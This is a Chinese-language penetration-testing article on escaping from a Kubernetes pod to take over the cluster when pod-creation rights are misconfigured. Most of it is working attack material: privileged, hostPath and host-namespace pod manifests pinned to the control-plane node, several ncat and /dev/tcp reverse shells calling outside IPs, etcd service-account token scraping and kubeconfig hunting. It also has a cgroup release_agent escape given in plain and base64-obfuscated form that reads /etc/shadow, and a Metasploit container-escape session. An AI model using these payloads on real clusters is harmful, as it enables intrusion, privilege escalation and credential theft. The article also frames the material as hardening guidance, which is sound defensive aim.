本文讨论了渗透测试场景下,当攻击者在 Kubernetes 集群中拥有创建 pods 权限时,由于配置不当造成集群接管的风险。提出在不同配置下,通过 pods 横向移动并最终接管集群的不同方案。
根据公司安全与隐私保护的设计要求,为了保证系统的信息安全,其中一个原则是最小权限原则。也就是每个用户、系统进程或应用程序都需要使用完成任务所需的最少权限来运行。如果所配置的权限超出了所需的权限,攻击者就会利用这些场景获取敏感数据、入侵其它系统或进行权限提升,从而在当前网络中进行横向移动。
众所周知,Kubernetes 的部署和 DevOps 的实施流程比较复杂,在部署时由于运维人员的操作,往往导致配置错误或违背了“最小权限原则”,本文总结了多种在真实场景下,如何通过一些配置不当的权限,绕过安全检测,实现接管集群的方法。同时,运维人员可以通过本文的案例,检查 Kubernetes 中的配置,加固环境,从而降低集群安全风险。
提及到 Kubernetes 安全最佳实践,在配置 pod 时要使用最小特权原则。但是,该如何执行细粒度的安全控制,又该如何评估每个属性的风险呢?Kubernetes 提供了多种方式来解决上面的问题
然而,即使存在用于定义和执行策略的控制措施,运维人员并不总能理解每个特定属性的实际安全影响,而且 pod 的创建往往没有按需要进行锁定。在渗透测试过程中,当获取的 shell 在集群的 pods 内,且有权限在集群上创建 pod,而集群却没有强制执行策略,这种情景接管集群控制权限非常简单。但是,如果当前 pods 下只可以用 hostNetwork 、 hostPID 、 hostIPC 、 hostPath 或 privileged 创建一个 pod 呢?针对不同情景,本文讨论了不同的接管方案。
各种权限的概念:
- privileged :特权容器是一种具有主机的所有功能的容器,它解除了常规容器的所有限制。特权容器可以执行几乎所有可以直接在主机上执行的操作,包括一些针对内核修改的操作等。比如:calico 容器,在启动的时候初始化容器,要对容器的网络进行设置,就需要特权,对操作系统的设备,命名空间进行修改,这个时候,就需要特权容器
- hostPID :容器将共享其主机的进程命名空间,容器可以直接查看和操作主机上的进程。具体而言, hostPID 的使用通常用于一些特殊的用例,例如运行容器内的进程能够查看主机上的其他进程。
- HostPath :是 Kubernetes 的一个核心对象之一,它允许在 Pod 中使用本地文件系统。HostPath 支持读写和只读操作,并提供了丰富的访问权限控制选项。
- HostNetwork :允许 Pod 直接使用主机(Node)的网络命名空间。当 Pod 启用 HostNetwork 时,它与主机共享网络栈,可以访问主机上的网络接口和端口。
- HostIPC :是一种 Pod 安全上下文(Pod Security Context)的设置,用于控制 Pod 是否能够共享宿主机的 IPC(Inter-Process Communication)命名空间
创建的 pod 会将主机的文件系统挂载到 pod 上。如果能使用 k8s 中的 nodeName 选择器将 pod 调度在 control pannel 上,然后,在 pod 中 chroot 到挂载主机文件系统的目录。最终,在运行 pod 的节点上获取了 root 权限。
首先说一下笔者的实验环境:
root@k8s-master:~# kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-master Ready control-plane 2d19h v1.28.2
k8s-node1 Ready <none> 2d19h v1.28.4
k8s-node2 Ready <none> 2d19h v1.28.2
查看当前 token 所拥有的权限:
kubectl auth can-i --list --token=xxx

一个简单的例子,实现上述方法:
apiVersion: v1
kind: Pod
metadata:
name: all-allowed-exec-pod
labels:
app: prod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: all-allowed-pod
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
# 可以通过节点选择器调度到 k8s-master control pannel 中
nodeName: k8s-master
volumes:
- name: noderoot
hostPath:
path: /
创建 pods:
kubectl apply -f allow_all.yaml
kubectl exec -it all-allowed-exec-pod -- chroot /host bash

如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。

apiVersion: v1
kind: Pod
metadata:
name: all-allowed-revshell-pod
labels:
app: prod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: all-allowed-pod
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat 192.168.88.139 4444 -e /bin/bash;" ]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
nodeName: k8s-master
volumes:
- name: noderoot
hostPath:
path: /

反弹得到的 shell:

通过如上方式获取到 control-pannel 节点后,可以从 etcd 中读取数据,一种优雅的方式是通过安装 ectd 客户端进行连接,下面介绍一种简易方式:
ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

strings /var/lib/etcd/member/snap/db | less
etcd=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$etcd" | grep eyJhbGciOiJ`; do name=`echo "$etcd" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

etcd=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$etcd" | grep eyJhbGciOiJ`; do name=`echo "$etcd" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
cat /var/run/secrets/kubernetes.io/serviceaccount/token

在 kubernetes 1.24 开始,创建 serviceaccount 不会自动生成 secret,在 pods 中获取的 token 属于集群自动生成,且有 1h 的有效期。
kubeconfig 是集群的配置文件,每个集群内的用户通过各种集群内置或者自定义的角色绑定一定的权限。通过 kuberconfig 文件,将可以在任意一台服务器上进行 kubernetes 集群的管理,仅仅需要一个 kubernetes 集群的 kubectl 客户端即可。
find / -name kubeconfig
find / -name kubelet.conf
ls /etc/kubernetes/admin.conf
find / -name .kube
grep -R "current-context" /home/
grep -R "current-context" /root/

在这种情况下,与上一个场景下的 pod 相比,唯一的变化是如何获得主机的 root 访问权限。攻击者在无法通过 chroot 到宿主机的文件系统时,可以使用 nsenter 在运行 pod 的节点上获取 shell 权限。
nsenter 是一个 Linux 命令行工具,用于进入已有的命名空间,可以在指定进程的命令空间下运行指定的命令。命名空间是一种隔离机制,用于隔离进程的资源,而容器是通过命名空间进行资源隔离的。通过使用 nsenter 命令,可以进入已经存在的命名空间,并在该命名空间中执行命令或查看其状态。
apiVersion: v1
kind: Pod
metadata:
name: priv-hostpid-exec-pod
labels:
app: prod
spec:
hostPID: true
containers:
- name: priv-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
nodeName: k8s-master
创建好 pods 后直接 kubectl exec -it priv-hostpid-exec-pod -- bash 即可获取宿主机 root 权限。
同样的,如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。
apiVersion: v1
kind: Pod
metadata:
name: priv-hostpid-revshell-pod
labels:
app: prod
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: raesene/ncat
securityContext:
privileged: true
command: [ "/bin/sh", "-c" ]
args: [ "ncat 192.168.88.138 4444 -e '/usr/bin/nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash'" ]
nodeName: k8s-master

关于后渗透的部分可以参考前面的场景,在此不做赘述。
当仅拥有 Privilege 权限时,有如下两种方式可以获取集群权限:
apiVersion: v1
kind: Pod
metadata:
name: priv-exec-pod
labels:
app: prod
spec:
containers:
- name: priv-pod
image: ubuntu
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: k8s-master
同样的,如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。
apiVersion: v1
kind: Pod
metadata:
name: priv-revshell-pod
labels:
app: prod
spec:
containers:
- name: priv-pod
image: raesene/ncat
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat 192.168.88.138 4444 -e /bin/bash;" ]
nodeName: k8s-master
查看宿主机文件系统:
kubectl exec -it priv-exec-pod -- fdisk -l

可以看到 sda3 是宿主机的文件系统,直接挂载宿主机文件系统:
kubectl exec -it priv-exec-pod -- mkdir /host
kubectl exec -it priv-exec-pod -- bash -c "mount /dev/sda3 /host/"

然后可以在这些文件系统中搜索一些敏感文件,如 token 等:


具体方法同前面场景,在此不做赘述。
那么,如何通过 cgroup 命令执行呢?
#!/bin/bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
或者:
echo ZD1gZGlybmFtZSAkKGxzIC14IC9zKi9mcy9jKi8qL3IqIHxoZWFkIC1uMSlgCm1rZGlyIC1wICRkL3c7ZWNobyAxID4kZC93L25vdGlmeV9vbl9yZWxlYXNlCnQ9YHNlZCAtbiAncy8uKlxwZXJkaXI9XChbXixdKlwpLiovXDEvcCcgL2V0Yy9tdGFiYAp0b3VjaCAvbzsgZWNobyAkdC9jID4kZC9yZWxlYXNlX2FnZW50O2VjaG8gIiMhL2Jpbi9zaAokMSA+JHQvbyIgPi9jO2NobW9kICt4IC9jO3NoIC1jICJlY2hvIDAgPiRkL3cvY2dyb3VwLnByb2NzIjtzbGVlcCAxO2NhdCAvbwo= | base64 -d > undock.sh
执行:
sh undock.sh "cat /etc/shadow"
#!/bin/bash
overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir /tmp/escape
mount -t cgroup -o blkio cgroup /tmp/escape
mkdir -p /tmp/escape/w
echo 1 > /tmp/escape/w/notify_on_release
echo "$overlay/shell.sh" > /tmp/escape/release_agent
sleep 3 && echo 0 >/tmp/escape/w/cgroup.procs &
nc -l -p 4444 escape.sh
创建 shell.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/POD_IP/4444 0>&1"
运行:
chmod +x shell.sh escape.sh && ./escape.sh
pods 中反弹 shell:
root@pod-priv:/# /bin/sh -i >& /dev/tcp/192.168.33.114/4444 0>&1
msf 中设置监听器与配置:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.33.114
LHOST => 192.168.33.114
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.33.114:4444
[*] Command shell session 1 opened (192.168.33.114:4444 -> 192.168.33.133:64341) at 2023-11-21 16:36:29 +0800
Shell Banner:
#
-----
# background
Background session 1? [y/N] y
msf6 exploit(multi/handler) > use exploit/linux/local/docker_privileged_container_escape
[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/local/docker_privileged_container_escape) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/docker_privileged_container_escape) > set session 1
session => 1
msf6 exploit(linux/local/docker_privileged_container_escape) > run

在这种场景下,即使没有访问主机进程或网络命名空间的权限,如果集群管理员没有限制 pod 可以挂载的内容,可以将宿主机的文件系统挂载到攻击者创建的 pod 中,从而获得宿主机文件系统的读/写权限。
下面是一些常见的提权手法:
创建 pod 挂载宿主机文件系统:
apiVersion: v1
kind: Pod
metadata:
name: hostpath-exec-pod
labels:
app: prod
spec:
containers:
- name: hostpath-exec-pod
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: k8s-master
volumes:
- name: noderoot
hostPath:
path: /
如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。
apiVersion: v1
kind: Pod
metadata:
name: hostpath-revshell-pod
labels:
app: prod
spec:
containers:
- name: hostpath-revshell-pod
image: raesene/ncat
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat 192.168.88.138 4444 -e /bin/bash;" ]
nodeName: k8s-master
volumes:
- name: noderoot
hostPath:
path: /
关于后渗透的部分可以参考前面的场景,在此不做赘述。
在只有 hostPID 权限的节点上目前没有较好的 getshell 的方法,但是可以从以下几个方面思考:
如果只有 hostNetwork 权限,有三种可能的提权路径:
apiVersion: v1
kind: Pod
metadata:
name: hostnetwork-only
labels:
app: prod
spec:
hostNetwork: true
containers:
- name: hostnetwork-only
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: k8s-master
如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。
apiVersion: v1
kind: Pod
metadata:
name: hostnetwork-only-reverse
labels:
app: prod
spec:
hostNetwork: true
containers:
- name: hostnetwork-only-reverse
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat 192.168.88.138 4444 -e /bin/bash;" ]
nodeName: k8s-master
以访问 api-server 的 8080 端口为例,在默认情况下,需要修改 api-server 的配置:
vim /etc/kubernetes/manifests/kube-apiserver.yaml
手动添加如下两行:
- --insecure-port=8080
- --insecure-bind-address=127.0.0.1

然后重启 api-server 即可:
systemctl restart kubelet
kubectl -s http://192.168.88.137:8080 get nodes
IPC 命名空间是一种在同一台主机上运行的进程之间进行进程间通信(IPC)的机制。通过设置 HostIPC 权限,可以控制 Pod 是否可以与主机上的其他进程共享 IPC 命名空间。在 Kubernetes 中,每个 Pod 都有自己的 IPC 命名空间,Pod 内的进程只能与同一 Pod 内的其他进程进行 IPC,而不能直接与主机上的进程进行 IPC。
如果将 HostIPC 设置为 true ,则表示该 Pod 具有访问主机 IPC 命名空间的权限, Pod 内的进程可以与主机上的其他进程共享 IPC 命名空间,从而可能影响主机上的其他进程。
如果主机上的任何进程或 pod 中的任何进程使用了主机的进程间通信机制(共享内存、信号数组、消息队列等),攻击者可以读/写这些机制。有如下几种方法谢谢
创建 Pods:
apiVersion: v1
kind: Pod
metadata:
name: hostipc-only
labels:
app: prod
spec:
hostIPC: true
containers:
- name: hostipc-only
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: k8s-master
如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。
apiVersion: v1
kind: Pod
metadata:
name: hostipc-only-reverse
labels:
app: pentest
spec:
hostIPC: true
containers:
- name: hostipc-only-reverse
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat 192.168.88.138 4444 -e /bin/bash;" ]
nodeName: k8s-master
在这种场景下,思路就比较常规了,通常有以下几种方式:

